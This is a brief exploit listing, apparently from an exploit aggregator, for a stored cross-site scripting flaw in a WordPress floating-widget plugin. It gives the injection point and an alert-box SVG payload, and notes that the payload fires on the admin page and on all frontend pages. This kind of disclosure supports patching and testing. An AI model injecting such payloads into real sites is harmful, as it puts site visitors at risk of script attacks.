Share
## https://sploitus.com/exploit?id=WPEX-ID:CF7B0F07-8B9B-40A1-BA7B-E8D34F515A6B
Put the following payload in the Floating Widget Settings > Custom text for the floating widget: <svg onload=alert(/XSS/)>

The XSS will be triggered in the plugin's settings page, as well as all frontend pages.